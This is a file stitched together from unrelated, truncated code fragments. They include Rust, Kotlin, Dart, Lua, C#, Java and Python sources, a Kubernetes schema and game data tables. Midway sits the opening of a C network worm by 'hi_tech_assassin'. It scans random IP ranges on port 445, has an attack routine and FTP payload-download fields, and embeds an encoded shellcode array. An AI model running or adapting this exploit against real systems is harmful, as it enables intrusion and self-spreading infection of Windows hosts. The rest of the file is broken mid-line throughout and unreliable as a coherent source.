    fn dns(&self) -> Vec<Ipv4Addr> {
       unreachable!("Not implemented yet");
    }

    fn enable_dhcp(&self) -> Result<(), io::Error>{
        unreachable!("Not implemented yet");
    }

    fn static_ip(&self, address: &str, gateway: &str) -> Result<(), StaticIPError> {
        unreachable!("Not implemented yet");
    }

}

enum NetworkConfig<'a> {
    Systemd(SystemdNetworkConfig<'a>),
    Ubuntu(UbuntuUpstartNetworkConfig<'a>)
}

#[test]
fn default_config_systemd() {
    let config = SystemdNetworkConfig::new("");
    assert!(config.path.to_str().unwrap() == "/etc/systemd/network/eth0.network");
}

#[test]
fn default_config_ubuntu_upstart() {
    let config = UbuntuUpstartNetworkConfig::new("");
    assert!(config.path.to_str().unwrap() == "/etc/network/interfaces");
}

#[test]
fn config_section_systemd() {
    let config = SystemdNetworkConfig::new("./tests/eth0.network.dhcp");
    let content = config.get_settings_section().unwrap_or(String::new());
    assert!(content.contains("[Network]"));
}

#[test]
fn no_config_section_systemd() {
    let config = SystemdNetworkConfig::new("./tests/eth0.network.nonetwork");
    let content = config.get_settings_section().unwrap_or(String::new());
    assert!(!content.contains("[Network]"));
}

#[test]
fn read_dhcp_config_systemd() {
    let config = SystemdNetworkConfig::new("./tests/eth0.network.dhcp");
    assert!(config.is_dhcp() == true);
}

#[test]
fn read_non_dhcp_config_systemd() {
    let config = SystemdNetworkConfig::new("./tests/eth0.network.static");
    assert!(config.is_dhcp() == false);
}

#[test]
fn read_static_config_systemd() {
    let config = SystemdNetworkConfig::new("./tests/eth0.network.static");
    let comparitor_ip = Ipv4Addr::from_str("192.168.1.3").unwrap();
    let ip_address = config.ip_address().expect("No ip address found");
    assert


versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources",
                                                                      "descriptionCN": "API版本定义了此表示对象的版本化格式。服务器应该将识别的规范转换为内部值的最新状态，并可能拒绝未识别的值。更多信息：https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources",
                                                                      "type": "string"
                                                                  },
                                                                  "items": {
                                                                      "description": "`items` is a list of FlowSchemas.",
                                                                      "descriptionCN": "`items`是一个FlowSchemas列表。",
                                                                      "type": "array",
                                                                      "items": {
                                                                          "$ref": "#/definitions/io.k8s.api.flowcontrol.v1beta3.FlowSchema"
                                                                      }
                                                                  },
                                                                  "kind": {
                                                                      "description": "Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds",
                                                                      "descriptionCN": "善良是一个表示这个对象所代表的REST资源的字符串值。服务器可能根据客户端提交请求时提供的端点推断出这一点。不能被更新。CamelCase格式。更多信息：https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds",
                                                                      "type": "string"
                                                                  },
                                                                  "metadata": {
                                                                      "description": "`metadata` is the standard list metadata. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata",
                                                                      "descriptionCN": "\"metadata\" 是标准的元数据。更多信息：https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata",
                                                                      "$ref": "#/definitions/io.k8s.apimachinery.pkg.apis.meta.v1.ListMeta"
                                                                  }
                                                              },
                                                              "type": "object"
                                                          },
                                                          "io.k8s.api.flowcontrol.v1beta3.FlowSchemaSpec": {
                                                              "description": "FlowSchemaSpec describes how the FlowSchema's specification looks like.",
                                                              "descriptionCN": "FlowSchemaSpec描述了FlowSchema的规范外观。",
                                                              "properties": {
                                                                  "distinguisherMethod": {
                                                                      "description": "`distinguisherMethod` defines how to compute the flow distinguisher for requests that match this schema. `nil` specifies that the distinguisher is disabled and thus will always be the empty string.",
                                                                      "descriptionCN": "“distinguisherMethod”定义了如何计算匹配这个模式的请求流分歧器。`nil`指定忽略分裂器，并因此总是空字符串。",
                                                                      "$ref": "#/definitions/io.k8s.api.flowcontrol.v1beta3.FlowDistinguisherMethod"
                                                                  },
                                                                  "matchingPrecedence": {
                                                                      "description": "`matchingPrecedence` is used to choose among the FlowSchemas that match a given request. The chosen FlowSchema is among those with the numerically lowest (which we take to be logically highest) MatchingPrecedence.  Each MatchingPrecedence value must be ranged in [1,10000]. Note that if the precedence is not specified, it will be set to 1000 as def


# Sukurti du kintamuosius. Jiems priskirti savo mylimo aktoriaus vardą ir pavardę kaip stringus (Jonas Jonaitis). Atspausdinti trumpesnį stringą.
#       012345 <- cia raidziu indeksai
import random
import re

name = "Johnny"
surname = "Depp"
if len(name) <= len(surname):
    print(name)
else:
    print(surname)
# Sukurti du kintamuosius. Jiems priskirti savo mylimo aktoriaus vardą ir pavardę kaip stringus. Vardą atspausdinti tik didžiosiom raidėm, o pavardę tik mažosioms. (LEONARDO dicaprio)
print(name.upper() + " " + surname.lower())
print(f"Aktoriaus vardas yra {name.upper()}, o pavsarde {surname.lower()}")

# Sukurti du kintamuosius. Jiems priskirti savo mylimo aktoriaus vardą ir pavardę kaip stringus. Sukurti trečią kintamąjį ir jam priskirti stringą, sudarytą iš pirmų vardo ir pavardės kintamųjų raidžių. Jį atspausdinti.
initials = name[0] + surname[0]
print(initials)

# Sukurti du kintamuosius. Jiems priskirti savo mylimo aktoriaus vardą ir pavardę kaip stringus. Sukurti trečią kintamąjį ir jam priskirti stringą, sudarytą iš trijų paskutinių vardo ir pavardės kintamųjų raidžių. Jį atspausdinti.
print(name[3] + name[4] + name[5])
nickname = name[-3:] + surname[-3:]
print(nickname)

# Sukurti kintamąjį su stringu: "An American in Paris". Jame visas “a” (didžiąsias ir mažąsias) pakeisti žvaigždutėm “*”.  Rezultatą atspausdinti.
aaip = "An American in Paris"
print(aaip.replace("A","*").replace("a","*"))

# Sukurti kintamąjį su stringu: "An American in Paris". Jame ištrinti visas balses. Rezultatą atspausdinti. Kodą pakartoti su stringais: "Breakfast at Tiffany's", "2001: A Space Odyssey" ir "It's a Wonderful Life".
print(re.sub("[aeiouyAEIOUY]","",aaip))

# Stringe, kurį generuoja toks kodas: Surasti ir atspausdinti epizodo numerį.
starWars = "Star Wars: Episode " + (" " * random.randint(1, 9)) + str(random.randint(1, 7)) + " - A New Hope"
print(starWars)
print(starWars[-14])
print(re.sub(r"\D","",starWars))
m = re.search("[0-9]",starWars)
print(m.group())
print(re.findall("[0-9]",starWars))
print(starWars.split()[3])


milliseconds are optional).
  final DateTime toDate;

  DateRange({
    required this.fromDate,
    required this.toDate,
  });

  factory DateRange.fromJson(Map<String, dynamic> json) {
    return DateRange(
      fromDate: nonNullableTimeStampFromJson(json['FromDate'] as Object),
      toDate: nonNullableTimeStampFromJson(json['ToDate'] as Object),
    );
  }

  Map<String, dynamic> toJson() {
    final fromDate = this.fromDate;
    final toDate = this.toDate;
    return {
      'FromDate': unixTimestampToJson(fromDate),
      'ToDate': unixTimestampToJson(toDate),
    };
  }
}

class DeleteBackupPlanOutput {
  /// An Amazon Resource Name (ARN) that uniquely identifies a backup plan; for
  /// example,
  /// arn:aws:backup:us-east-1:123456789012:plan:8F81F553-3A74-4A3F-B93D-B3360DC80C50.
  final String? backupPlanArn;

  /// Uniquely identifies a backup plan.
  final String? backupPlanId;

  /// The date and time a backup plan is deleted, in Unix format and Coordinated
  /// Universal Time (UTC). The value of DeletionDate is accurate to
  /// milliseconds. For example, the value 1516925490.087 represents Friday,
  /// January 26, 2018 12:11:30.087 AM.
  final DateTime? deletionDate;

  /// Unique, randomly generated, Unicode, UTF-8 encoded strings that are at most
  /// 1,024 bytes long. Version IDs cannot be edited.
  final String? versionId;

  DeleteBackupPlanOutput({
    this.backupPlanArn,
    this.backupPlanId,
    this.deletionDate,
    this.versionId,
  });

  factory DeleteBackupPlanOutput.fromJson(Map<String, dynamic> json) {
    return DeleteBackupPlanOutput(
      backupPlanArn: json['BackupPlanArn'] as String?,
      backupPlanId: json['BackupPlanId'] as String?,
      deletionDate: timeStampFromJson(json['DeletionDate']),
      versionId: json['VersionId'] as String?,
    );
  }
}

class DescribeBackupJobOutput {
  /// Returns the account ID that owns the backup job.
  final String? accountId;

  /// Uniquely identifies a request to Backup to back up a resource.
  final String? backupJobId;

  /// Represents the options specified as part of backup plan or on-demand backup
  /// job.
  final Map<String, String>? backupOptions;

  /// The size, in bytes, of a backup.
  final int? backupSizeInBytes;

  /// Represents the actual backup type selected for a backup job. For example, if
  /// a successful Windows Volume Shadow Copy Service (VSS) backup was taken,
  /// BackupType returns "WindowsVSS". If
  /// BackupType is empty, then the backup type was a regular backup.
  final String? backupType;

  /// An Amazon Resource Name (ARN) that uniquely identifies a backup vault; for
  /// example,
  /// arn:aws:backup:us-east-1:123456789012:backup-vault:aBackupVault.
  final String? backupVaultArn;

  /// The name of a logical container where backups are stored. Backup vaults are
  /// identified by names that are unique to the account used to create them and
  /// the Amazon Web Services Region where they are created.
  final String? backupVaultName;

  /// The size in bytes transferred to a backup vault at the time that the job
  /// status was queried.
  final int? bytesTransferred;

  /// This returns the statistics of the included child (nested) backup jobs.
  final Map<BackupJobState, int>? childJobsInState;

  /// The date and time that a job to create a backup job is completed, in Unix
  /// format and Coordinated Universal Time (UTC). The value of
  /// CompletionDate</code


val nalUnitType = (nalUnitTypeOctet.toInt() and 0x1f).toByte()
                    when (nalUnitType) {
                        NAL_IDR_SLICE -> return true
                        NAL_SLICE -> return false
                    }
                }
                // Continue searching
                currOffset = nalUnitOffset

                // Check that we are not too long here
                if (System.currentTimeMillis() - timestamp > 100) {
                    Log.w(TAG, "Cannot process data within 100 msec in $length bytes (index=$nalUnitIndex)")
                    break
                }
            } else {
                break
            }
        }

        return false
    }

    fun getH264NalUnitTypeString(nalUnitType: Byte): String {
        return when (nalUnitType) {
            NAL_SLICE -> "NAL_SLICE"
            NAL_DPA -> "NAL_DPA"
            NAL_DPB -> "NAL_DPB"
            NAL_DPC -> "NAL_DPC"
            NAL_IDR_SLICE -> "NAL_IDR_SLICE"
            NAL_SEI -> "NAL_SEI"
            NAL_SPS -> "NAL_SPS"
            NAL_PPS -> "NAL_PPS"
            NAL_AUD -> "NAL_AUD"
            NAL_END_SEQUENCE -> "NAL_END_SEQUENCE"
            NAL_END_STREAM -> "NAL_END_STREAM"
            NAL_FILLER_DATA -> "NAL_FILLER_DATA"
            NAL_SPS_EXT -> "NAL_SPS_EXT"
            NAL_AUXILIARY_SLICE -> "NAL_AUXILIARY_SLICE"
            NAL_STAP_A -> "NAL_STAP_A"
            NAL_STAP_B -> "NAL_STAP_B"
            NAL_MTAP16 -> "NAL_MTAP16"
            NAL_MTAP24 -> "NAL_MTAP24"
            NAL_FU_A -> "NAL_FU_A"
            NAL_FU_B -> "NAL_FU_B"
            else -> "unknown - $nalUnitType"
        }
    }

    fun getH265NalUnitTypeString(nalUnitType: Byte): String {
        return when (nalUnitType) {
            H265_NAL_TRAIL_N -> "NAL_TRAIL_N"
            H265_NAL_TRAIL_R -> "NAL_TRAIL_R"
            H265_NAL_TSA_N -> "NAL_TSA_N"
            H265_NAL_TSA_R -> "NAL_TSA_R"
            H265_NAL_STSA_N -> "NAL_STSA_N"
            H265_NAL_STSA_R -> "NAL_STSA_R"
            H265_NAL_RADL_N -> "NAL_RADL_N"
            H265_NAL_RADL_R -> "NAL_RADL_R"
            H265_NAL_RASL_N -> "NAL_RASL_N"
            H265_NAL_RASL_R -> "NAL_RASL_R"
            H265_NAL_BLA_W_LP -> "NAL_BLA_W_LP"
            H265_NAL_BLA_W_RADL -> "NAL_BLA_W_RADL"
            H265_NAL_BLA_N_LP -> "NAL_BLA_N_LP"
            H265_NAL_IDR_W_RADL -> "NAL_IDR_W_RADL"
            H265_NAL_IDR_N_LP -> "NAL_IDR_N_LP"
            H265_NAL_CRA_NUT -> "NAL_CRA_NUT"
            H265_NAL_VPS -> "NAL_VPS"
            H265_NAL_SPS -> "NAL_SPS"
            H265_NAL_PPS -> "NAL_PPS"
            H265_NAL_AUD -> "NAL_AUD"
            H265_NAL_EOS_NUT -> "NAL_EOS_NUT"
            H265_NAL_EOB_NUT -> "NAL_EOB_NUT"
            H265_NAL_FD_NUT -> "NAL_FD_NUT"
            H265_NAL_SEI_PREFIX -> "NAL_SEI_PREFIX"
            H265_NAL_SEI_SUFFIX -> "NAL_SEI_SUFFIX"
            else -> "unknown - $nalUnitType"
        }
    }

}
package com.alexvas.rtsp.codec.color

import android.annotation.SuppressLint
import android.graphics.Bitmap
import android.graphics.Matrix
im


stem.Convert.FromBase64String(
          string.Concat(
            "Ci9QT0dPUHJvdG9zL0ludmVudG9yeS9JbnZlbnRvcnlVcGdyYWRlVHlwZS5w",
            "cm90bxIUUE9HT1Byb3Rvcy5JbnZlbnRvcnkqYgoUSW52ZW50b3J5VXBncmFk",
            "ZVR5cGUSEQoNVVBHUkFERV9VTlNFVBAAEhkKFUlOQ1JFQVNFX0lURU1fU1RP",
            "UkFHRRABEhwKGElOQ1JFQVNFX1BPS0VNT05fU1RPUkFHRRACYgZwcm90bzM="));
      descriptor = pbr::FileDescriptor.FromGeneratedCode(descriptorData,
          new pbr::FileDescriptor[] { },
          new pbr::GeneratedClrTypeInfo(new[] {typeof(global::POGOProtos.Inventory.InventoryUpgradeType), }, null));
    }
    #endregion

  }
  #region Enums
  public enum InventoryUpgradeType {
    [pbr::OriginalName("UPGRADE_UNSET")] UpgradeUnset = 0,
    [pbr::OriginalName("INCREASE_ITEM_STORAGE")] IncreaseItemStorage = 1,
    [pbr::OriginalName("INCREASE_POKEMON_STORAGE")] IncreasePokemonStorage = 2,
  }

  #endregion

}

#endregion Designer generated code


local vehicleArray = {}

local function getVehicleBoneCoords(vehicle, boneName)
    local boneIndex = GetEntityBoneIndexByName(vehicle, boneName)
    if boneIndex == -1 then print(("Vehicle bone %s not found"):format(boneName)) return nil end
    local boneCoords = GetWorldPositionOfEntityBone(vehicle, boneIndex)
    local adjustedBoneCoords = vector3(boneCoords.x, boneCoords.y, boneCoords.z + 0.5)
    return adjustedBoneCoords
end

local function getFirstAvailableBoneCoords(vehicle, bones)
    if type(bones) == "table" then
        for _, boneName in ipairs(bones) do
            local boneCoords = getVehicleBoneCoords(vehicle, boneName)
            if boneCoords then
                return boneCoords
            end
        end
    else
        return getVehicleBoneCoords(vehicle, bones)
    end
    return nil
end

local function addInteractionVehicle(data)
    assert(data and data.vehicle, "addInteractionVehicle: Missing vehicle in data.")
    assert(data and data.dataBind, "addInteractionVehicle: Missing dataBind in data.")
    repeat Wait(100) until DoesEntityExist(data.vehicle)
    local coords = GetEntityCoords(data.vehicle)

    if data.vehicleBone then
        local boneCoords = getFirstAvailableBoneCoords(data.vehicle, data.vehicleBone)
        if boneCoords then
            coords = boneCoords
        else
            coords = vec3(coords.x, coords.y, coords.z + 1.0)
        end
    end

    local model = GetEntityModel(data.vehicle)
    local vehicleID = data.vehicle
    local netID = NetworkGetNetworkIdFromEntity(vehicleID)

    while not (NetworkDoesEntityExistWithNetworkId(netID) or netID == 0) do Wait(1) end

    local distance = data.distance or 10
    local closest = data.closest or 5.0
    local visible = true
    local debug = data.debug or false
    local debugColour = data.debugColour or { r = 128, g = 0, b = 128, a = 10


class Solution(object):
    def scoreOfString(self, s):
        """
        :type s: str
        :rtype: int
        """
        return sum(abs(ord(s[i]) - ord(s[i + 1])) for i in range(len(s) - 1))


 focus on their security aspects. That way perhaps your
   so called loyal former consumers will start using your software
   again ?

   Credits: Eeye, wirepair.

   coded by hi_tech_assassin

   ----------------------------------

 */

#include <windows.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <time.h>

void IpScan(char* IpStart, const char* IpEnd);
int attack(char *IpAddy);
int AttemptConnect(int tm, int port, const char* IpAddy);
char *RandomIp(int someno);
void DoCheckOpen(char *IpAddy);
void ScanRandomIpRanges(void);
void ScanRange(char *ipAddr);

int DownloadOn=0;
char cmd[500];
int ThreadsInUse=0;

#define ThreadsCount 14
#define ScanPort 445

bool spOne=true;
bool veryRandom=false;

struct ftp_fields
{
	char *ftp_host;
	char *username;
	char *password;
	char *remoteFilename;
	char *localFilename;
};

ftp_fields *ftp_flds= new ftp_fields;

typedef VOID (*MYPROC)(IN  LPCWSTR Server OPTIONAL,
    IN  LPCWSTR AlternateName,
    IN  LPCWSTR DomainAccount OPTIONAL,
    IN  LPCWSTR DomainAccountPassword OPTIONAL,
    IN  ULONG Reserved
    );

char sc[] =

	"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6


IRAM0_PMS_MONITOR_VIOLATE_STATUS_WORLD_R(crate::FieldReader::new(bits))
    }
}
impl core::ops::Deref for CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_WORLD_R {
    type Target = crate::FieldReader<u8, u8>;
    #[inline(always)]
    fn deref(&self) -> &Self::Target {
        &self.0
    }
}
#[doc = "Field `CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_ADDR` reader - core_0_iram0_pms_monitor_violate_status_addr"]
pub struct CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_ADDR_R(crate::FieldReader<u32, u32>);
impl CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_ADDR_R {
    #[inline(always)]
    pub(crate) fn new(bits: u32) -> Self {
        CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_ADDR_R(crate::FieldReader::new(bits))
    }
}
impl core::ops::Deref for CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_ADDR_R {
    type Target = crate::FieldReader<u32, u32>;
    #[inline(always)]
    fn deref(&self) -> &Self::Target {
        &self.0
    }
}
impl R {
    #[doc = "Bit 0 - core_0_iram0_pms_monitor_violate_intr"]
    #[inline(always)]
    pub fn core_0_iram0_pms_monitor_violate_intr(&self) -> CORE_0_IRAM0_PMS_MONITOR_VIOLATE_INTR_R {
        CORE_0_IRAM0_PMS_MONITOR_VIOLATE_INTR_R::new((self.bits & 0x01) != 0)
    }
    #[doc = "Bit 1 - core_0_iram0_pms_monitor_violate_status_wr"]
    #[inline(always)]
    pub fn core_0_iram0_pms_monitor_violate_status_wr(
        &self,
    ) -> CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_WR_R {
        CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_WR_R::new(((self.bits >> 1) & 0x01) != 0)
    }
    #[doc = "Bit 2 - core_0_iram0_pms_monitor_violate_status_loadstore"]
    #[inline(always)]
    pub fn core_0_iram0_pms_monitor_violate_status_loadstore(
        &self,
    ) -> CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_LOADSTORE_R {
        CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_LOADSTORE_R::new(((self.bits >> 2) & 0x01) != 0)
    }
    #[doc = "Bits 3:4 - core_0_iram0_pms_monitor_violate_status_world"]
    #[inline(always)]
    pub fn core_0_iram0_pms_monitor_violate_status_world(
        &self,
    ) -> CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_WORLD_R {
        CORE_0_IRAM0_PMS_MONITOR_VIOLATE_STATUS_WORLD_R::new(((self.bits >> 3) & 0x03) as u8)
    }
    #[doc = "Bits 5:28 - core_0_iram0_pms_monitor_violate_status_addr"]
    #[inline(always)]
    pub fn


на",nil},
[27165] = {"Истощенный высокорожденный из Садов Лунного Покоя",nil},
[27166] = {"Официантка",nil},
[27167] = {"Копейшик Камагуа",nil},
[27168] = {"7th Legion Test Unit",nil},
[27169] = {"Черная официантка",nil},
[27170] = {"Боевой маг Янтарной гряды",nil},
[27171] = {"Добытчик Ледобивня",nil},
[27172] = {"Главный распространитель чумы Миддлтон",nil},
[27173] = {"Военный маг Каландра",nil},
[27174] = {"Хозяин таверны Мумик","Хозяин таверны"},
[27175] = {"Боевой маг Маскировочного щита",nil},
[27176] = {"Мистик Маркиттук","Яды и реагенты"},
[27177] = {"Железный надзиратель рун",nil},
[27178] = {"Воин Моа'ки",nil},
[27179] = {"Дежурная летучая мышь (ревущий фьорд)",nil},
[27180] = {"Jintha'kalar Invisible Stalker",nil},
[27181] = {"Кванник","Продавец рыбы и снастей"},
[27182] = {"Такубвик","Потребительские товары"},
[27183] = {"Зверолов Тикаани","Смотритель стойл"},
[27184] = {"Имнек","Хозяйственные товары"},
[27185] = {"Кук'ук","Копейщик"},
[27186] = {"Угрук","Яды и реагенты"},
[27187] = {"Хозяин таверны Поаллу","Хозяин таверны"},
[27188] = {"Тонрак","Копейщик"},
[27189] = {"Копейщик Уну'пе",nil},
[27190] = {"Тупит","Продавец рыбы и снастей"},
[27191] = {"Бездарь","Гном-раб"},
[27193] = {"Алорнерк","Потребительские товары"},
[27194] = {"Зверолов Сагхани","Смотритель стойл"},
[27195] = {"Тарраликитак","Хозяйственные товары"},
[27196] = {"Маленький синий дракончик",nil},
[27197] = {"Маленький золотой дракончик",nil},
[27198] = {"Брот","Гном-раб"},
[27199] = {"Полководец Джин'аррак",nil},
[27200] = {"Offering Bunny - Drakil'jin Exterior",nil},
[27201] = {"Offering Target Bunny - Drakil'jin Exterior",nil},
[27202] = {"Жрец-ворон Алого Натиска",nil},
[27203] = {"Пехотинец Алого Натиска",nil},
[27204] = {"Капитан Костяная Челюсть",nil},
[27206] = {"Рыцарь Алого Натиска",nil},
[27207] = {"Рабочий Алого Натиска",nil},


32, 36)
_trigon.Veried.Selectable = false
_trigon.Veried.Name = "Veried"
_trigon.Veried.AnchorPoint = Vector2.new(0.5, 0.5)
_trigon.Veried.Size = UDim2.new(1, 0, 0.0835847, 0)
_trigon.Veried.BorderColor3 = Color3.fromRGB(0, 0, 0)
_trigon.Veried.Parent = _trigon.FilterPanel

_trigon.UIListLayout_34.FillDirection = Enum.FillDirection.Horizontal
_trigon.UIListLayout_34.VerticalAlignment = Enum.VerticalAlignment.Center
_trigon.UIListLayout_34.SortOrder = Enum.SortOrder.LayoutOrder
_trigon.UIListLayout_34.Padding = UDim.new(0.05, 0)
_trigon.UIListLayout_34.Parent = _trigon.Veried

_trigon.icon_14.BorderSizePixel = 0
_trigon.icon_14.ScaleType = Enum.ScaleType.Fit
_trigon.icon_14.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
_trigon.icon_14.Position = UDim2.new(1.96007e-08, 0, 0, 0)
_trigon.icon_14.Name = "icon"
_trigon.icon_14.Image = "rbxassetid://13858831405"
_trigon.icon_14.Size = UDim2.new(0.100195, 0, 1, 0)
_trigon.icon_14.BorderColor3 = Color3.fromRGB(0, 0, 0)
_trigon.icon_14.BackgroundTransparency = 1
_trigon.icon_14.Parent = _trigon.Veried

_trigon.ZTITLE_4.TextWrapped = true
_trigon.ZTITLE_4.BorderSizePixel = 0
_trigon.ZTITLE_4.TextScaled = true
_trigon.ZTITLE_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
_trigon.ZTITLE_4.FontFace = Font.new("rbxasset://fonts/families/Ubuntu.json", Enum.FontWeight.Bold, Enum.FontStyle.Normal)
_trigon.ZTITLE_4.Position = UDim2.new(0.150196, 0, -2.1055, 0)
_trigon.ZTITLE_4.Name = "ZTITLE"
_trigon.ZTITLE_4.TextSize = 18
_trigon.ZTITLE_4.Size = UDim2.new(0.496, 0, 0.3, 0)
_trigon.ZTITLE_4.TextColor3 = Color3.fromRGB(203, 203, 203)
_trigon.ZTITLE_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
_trigon.ZTITLE_4.Text = "Verified only"
_trigon.ZTITLE_4.BackgroundTransparency = 1
_trigon.ZTITLE_4.TextXAlignment = Enum.TextXAlignment.Left
_trigon.ZTITLE_4.Parent = _trigon.Veried

_trigon.circle_4.ImageColor3 = Color3.fromRGB(255, 248, 248)
_trigon.circle_4.BorderSizePixel = 0
_trigon.circle_4.ScaleType = Enum.ScaleType.Fit
_trigon.circle_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
_trigon.circle_4.Position = UDim2.new(0.653964, 0, 0, 0)
_trigon.circle_4.Name = "circle"
_trigon.circle_4.Image = "rbxassetid://13858870213"
_trigon.circle_4.Size = UDim2.new(0.112441, 0, 1, 0)
_trigon.circle_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
_trigon.circle_4.BackgroundTransparency = 1
_trigon.circle


o "scroll up 1 page" */
    public static final String PAGE_UP = "page-up";

    /** Constant used for mapping a key binding to "scroll down 1 line" */
    public static final String LINE_DOWN = "down";

    /** Constant used for mapping a key binding to "scroll up 1 line" */
    public static final String LINE_UP = "up";

    /** Constant used for mapping a key binding to "scroll to end of document" */
    public static final String PAGE_END = "page-end";

    /** Constant used for mapping a key binding to "scroll to top of document" */
    public static final String PAGE_START = "page-start";

    /** Instantiates a new FSScrollPane around the given Panel; see class documentation. */
    public FSScrollPane(JPanel view) {
        super(view, VERTICAL_SCROLLBAR_ALWAYS, HORIZONTAL_SCROLLBAR_ALWAYS);

        // TODO: need to get line-height, I think; this should not be fixed (PWW 28-01-05)
        getVerticalScrollBar().setUnitIncrement(15);
    }

    @Override
    public void setViewportView(Component view)
    {
        setPreferredSize(new Dimension((int)view.getSize().getWidth(), (int)view.getSize().getHeight()));
        if (view instanceof JComponent) {
            setDefaultInputMap((JComponent) view);
            setDefaultActionMap((JComponent) view);
        }
        addResizeListener(view);
        super.setViewportView(view);
    }

    /** Assigns the default keyboard bindings on the view for document navigation. */
    private void setDefaultInputMap(JComponent view) {
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_PAGE_DOWN, 0), PAGE_DOWN);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_PAGE_UP, 0), PAGE_UP);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_DOWN, 0), LINE_DOWN);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_UP, 0), LINE_UP);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_END, KeyEvent.CTRL_DOWN_MASK), PAGE_END);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_END, 0), PAGE_END);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_HOME, KeyEvent.CTRL_DOWN_MASK), PAGE_START);
        view.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).
                put(KeyStroke.getKeyStroke(KeyEvent.VK_HOME, 0), PAGE_START);

    }

    /** Assigns the default Actions for document navigation on the view. */
    private void setDefaultActionMap(JComponent view) {
        view.getActionMap().put(PAGE_DOWN,
                new AbstractAction() {
                    @Override
                    public void actionPerformed(ActionEvent evt) {
                        JScrollBar sb = getVerticalScrollBar();
                        sb.getModel().setValue(sb.getModel().getValue() + sb.getBlockIncrement(1));
                    }
                });
        view.getActionMap().put(PAGE_END,
                new AbstractAction() {
                    @Override
                    public void actionPerformed(ActionEvent evt) {
                        JScrollBar sb = getVerticalScrollBar();
                        sb.


//   test(
  //       'case two',
  //       () async => await _body(
  //           await rustAutoOpaqueTraitObjectReturnOwnTwoTwinSseMoi(), 'B'));
  // });

  test('static method', () async {
    final obj =
        await NonCloneSimpleTwinSseMoi.staticMethodReturnOwnTwinSseMoi();
    await futurizeVoidTwinSseMoi(
        NonCloneSimpleTwinSseMoi.staticMethodArgBorrowTwinSseMoi(arg: obj));
    await futurizeVoidTwinSseMoi(
        NonCloneSimpleTwinSseMoi.staticMethodArgMutBorrowTwinSseMoi(arg: obj));
    await futurizeVoidTwinSseMoi(
        NonCloneSimpleTwinSseMoi.staticMethodArgOwnTwinSseMoi(arg: obj));
  });

  test('instance method', () async {
    final obj = await NonCloneSimpleTwinSseMoi.newTwinSseMoi();
    await futurizeVoidTwinSseMoi(obj.instanceMethodArgBorrowTwinSseMoi());
    await futurizeVoidTwinSseMoi(obj.instanceMethodArgMutBorrowTwinSseMoi());
    await futurizeVoidTwinSseMoi(obj.instanceMethodReturnOwnTwinSseMoi());
    await futurizeVoidTwinSseMoi(obj.instanceMethodArgOwnTwinSseMoi());
  });
  test('instance newWithResult', () async {
    final obj = await NonCloneSimpleTwinSseMoi.newWithResultTwinSseMoi();
    await futurizeVoidTwinSseMoi(obj.instanceMethodArgBorrowTwinSseMoi());
  });

  test('getter', () async {
    final obj = await NonCloneSimpleTwinSseMoi.newTwinSseMoi();
    expect(await obj.instanceMethodGetterTwinSseMoi, 42);
  });

  test('structs with both encodable and opaque fields', () async {
    final obj =
        await rustAutoOpaqueStructWithGoodAndOpaqueFieldReturnOwnTwinSseMoi();
    expect(obj.good, 'hello');
    await futurizeVoidTwinSseMoi(
        rustAutoOpaqueArgBorrowTwinSseMoi(arg: obj.opaque, expect: 42));
    await futurizeVoidTwinSseMoi(
